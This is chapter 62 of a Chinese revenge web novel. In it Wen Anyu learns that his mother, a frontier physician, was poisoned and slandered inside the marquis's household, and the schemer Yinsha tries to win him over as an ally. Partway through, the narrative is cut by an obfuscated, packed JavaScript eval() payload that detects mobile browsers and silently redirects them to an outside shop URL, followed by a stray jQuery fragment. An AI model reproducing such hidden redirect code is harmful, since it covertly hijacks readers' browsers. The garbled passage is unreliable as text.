62. 候府往事
作品:《黑月光在复仇路上杀疯了》 梅灵,或许在医术上她是不世的天才,但是到了后宅中,她对于白景春而言不过就是一朵随手就可以摧毁的娇花。
“府中的一切吃穿用度都是大夫人包办的。而我娘,回到京中后不到一年便开始身体不适……”
娘第一次吐是在什么时候来着?
好像是在饭桌上,那时候他还能上桌吃饭,桌上有父亲、母亲还有大夫人母子,当时母亲不适,大夫人还恭喜母亲说有可能是怀孕,母亲也以为是有喜了,结果请来了大夫又说只是生病了。
惹得父亲空欢喜一场,几日没有到母亲院子里。
温安渝当时根本不知道发生了什么事情,后来听下人碎嘴子说他娘假孕争宠才知道原来父亲是生气了。
可是娘明明是真的生病了!
母亲在院中吐了整整三日后大夫才匆匆赶来,诊断出生病后父亲才来到院中探望母亲。
结果那大夫根本没有把娘治好,反而病得更重了。
爹给娘请了很多大夫,京都所有的大夫都曾来过候府,但是都无济于事。
“后来娘的病越来越重,终日卧床根本没有办法起身。我去找爹,但是爹因为娘之前病重时的失态拒绝见她!”温安渝愤恨地说着,他心中是恨大夫人的,但是对于温琏,他也是有怨恨的。
明知娘亲是在病中才会失态,也知她清白为何却不愿意去见她?为何就眼看着府中的下人们往娘身上泼脏水?
年幼的温安渝看不懂这一切,他只知守在娘亲床边。
“娘,你不要丢下我……”
那天晚上,小温二明显察觉到娘亲不太对,他抱着娘哭号着,眼睛将娘亲的衣襟都浸湿了。
“小渝儿,莫哭。你是男子汉,不要哭……”纤细的手指已经干瘦得失去了美感,但是依旧温柔地为儿子拭去眼泪。
“娘,为什么爹不来?我去求他,他不来!他是不是不要我们了?”温二年幼不明白为什么在边塞时相亲相爱的一家三口会变成现在这个样子。
“他不会不要你的,你是他的儿子。小渝儿,若娘不在了,你要乖乖听父亲的话。”梅灵是位医者,她自然知道自己现在已经到了何种地步,她用尽全身的力气安抚着儿子。
“娘,娘,你别死,我害怕!”温二将头紧紧地贴到母亲怀里,似乎这样就能将人留住,不叫那牛头马面将魂勾走。
“别怕,孩子,就算娘死了,也会保佑你的……”没有血色的唇勾着温柔的笑。
若问梅灵心中有什么后悔的,那就是在温琏求自己降为平妻时没有立刻逃走。连累儿子也被拖进这候府的泥潭里。
她是名医者,即便一开始不察,但是后来自然也发觉了自己是被人暗算,这哪里是什么怪病?是要人命的毒药才对。
只是自己根本找不出来到底是怎么被下毒了,即便不再吃府里提供的吃食,也根本没有用。
下毒之人心机深、手段高,她根本斗不过。
为何要来京都?为何要相信男人的话?为何?为何?梅灵在心里问了自己无数遍。
早知道……早知道……千金难买早知道。
“小渝儿,娘对不起你……”
那是温安渝第一次直面生死,原来死亡这么简单,娘的手就那样从他身上滑落,然后身体渐渐变冷。
他拼命的哭,跑出去想找父亲将娘亲救回来,结果到了父亲院子里却看到父亲和大夫人母子温情脉脉的样子。
他们一家三口,好不幸福美满。
而他,只剩下孤身一人。
从那一天起,他就深刻意识到,在这候府里即便还有血缘父亲,但是他可能已经没有亲人了。
“我一直都想不明白,人心为何会如此善变?我们在边塞的时候明明是那么美满的一家人。为何进了京一切就变了?”温安渝痛苦地将头埋进臂弯,好似这样就能逃避现实。
“昨夜我看到这蝴蝶的时候就察觉事有蹊跷。我刚进候府的时候也曾听下人们说起过你的事情,大家的说法都差不多。你娘……”银沙瞟了一眼温安渝才继续说:“说你娘红杏出墙,与府中的一名下人有私情……”
“放屁!”温安渝脸涨得通红,他气得直接从坟包里跳了出来,站在那里破口大骂:“到底是哪个乌龟王八蛋往我娘身上泼脏水?我娘与我爹感情深厚,她绝对不可能背叛我爹!”
银沙才不管温安渝如何愤怒继续说道:“当年白景春身边有一个陪嫁嬷嬷,之前年纪大了嫁人出了府。最近我找到了她,这才问出了真相。你娘当年之所以会被认定红杏出墙,是因为桃夭的蛊毒让她失态,白景春抓住了机会引安定候看到了,然后再让那个嬷嬷散布谣言。两边一起下力,你母亲就算是全身长了嘴也说不清了。”
贞洁,千年百年来囚禁女人最牢固的囚牢,也是最容易将她们杀死的尖锐匕首。
温安渝低垂泪眼看向棺材,棺材里的枯骨丑陋、肮脏,哪里还看得出来当年塞外圣手的风采?
银沙见他不说话:“你若是不信,我可以将那嬷嬷交给你,你自己去问她。她曾在候府里多年,我想你应该也是认识她的。”
“我爹知道吗?”温安渝的眼睛红得都快滴血了,他看向银沙。
“你确定你想听?”银沙露出一个似笑非笑的表情。
温安渝立马心领神会,他痛苦地抱住头:“我只是想知道一个真相!”
“温琏当年打了胜仗回京没多久就被收了兵权,他是个武将在朝堂中没有要基,又被皇帝忌惮只能靠白景春的父亲帮助。白笑山是户尚书。”
“哈哈哈!原来在权势面前,大诏战神也会低头?
什么一家人?什么恩爱夫妻,都是假的!
娘!你若在天有灵,就睁看看这个无用的男人!他抛弃了我们母子,他真的抛弃了我们母子……”
温安渝似癫狂了一般,又哭又笑,凄惨的哀嚎甚至惊飞了林中的飞鸟。
他不是傻子,今日白天的时候他将蝴蝶捧到父亲面前,他过激的反应
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16821510|190799||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经说明了一切。
他早就应该认清事实,他什么都知道,即便没有参与下毒,但是他也旁观了整件事情。
他知道梅灵并非生病而是中毒,也知道她是无辜的,更知道她是清白的,但是他还是选择避而不见,还是选择让流言蜚语淹没这个女人。
甚至连死了也不愿意到坟上来看一眼?到底是不屑?还是不敢?
真是心狠,比起白景春来,他更显得卑劣、恶毒。
银沙提起灯笼看了一眼棺材里的枯骨,又看了一眼温安渝,在灯笼的照耀下他的脸色忽明忽暗。
她重新回到墓碑前,看了一眼墓碑上的字——“慈母温梅氏之墓”。
这墓碑竟然也是温安渝立的。看到安定候府对于梅灵之死还真是不管不问。
在坟前跪下,取出之前准备好的纸线,银沙为这位枉死的人祭奠。
从今天开始就要利用人家儿子了,好歹烧些纸钱给人家娘。
还在棺材旁边的温安渝感受到火光,一抬头就看到银沙正跪在那里安静地给他娘点纸线,一时间心头涌起无限感动。
无论银沙对他父亲如何,至少在这一刻,她给娘亲烧纸线的心一定是真的。
他狼狈地从棺材旁爬上来,蹒跚走到银沙身边,与她跪在一起。
接过银沙手中的纸线,温安渝闷着头一张一张地点燃、
“想来我娘应该是温琏与白景春联手害死的,我这个儿子应该也是他早就打定主意不想要的。”他苦笑着说出这件之前他怎么也不愿意承认的事实。
“二公子,您还看不清吗?侯爷的心,从未真正定过?
当初因爱你娘,想让你继承他的衣钵;如今大公子因母族得势,他便将你弃如敝履,任凭大夫人磨去你的锋芒,这何其不公?
他所眷顾的,从来只是对他有用之人。这等凉薄的器重,我们不要也罢!
但若你愿信我,我将助你挣脱桎梏,让侯爷、让所有人都看到你真正的价值,夺回属于你的一切!”
她的声音、她的话似是有魔力一样,引得温安渝侧目。
一眼看过去就看到一双映衬着火光的眼睛,极美,波光潋滟。
“我……我只想给我娘报仇……”
“二公子,什么都没有是报不了仇的。”觉得温安渝的话有些天真,银沙勾了勾唇角。
温安渝确实被白景春养废了,都到这个时候了还在说这种没用的话。
但是心中再怎么不屑,还是得按下性子来引导这个蠢蛋。
“大夫人筹谋这些,所图不过就是一个目的,那就是让温锦华成为世子,做候府新主人。二公子,报复一个人最好的方法就是摧毁他的希望。温锦华的前程就是大夫人的希望……”
温安渝现在恨白景春但是更恨温琏:“白氏死不足惜,但是要杀温琏实在太难……”
他似是明白了什么:“银沙姑娘,我知道你想杀我父亲,难道你想通过我母亲的死拉拢我与你结盟?”

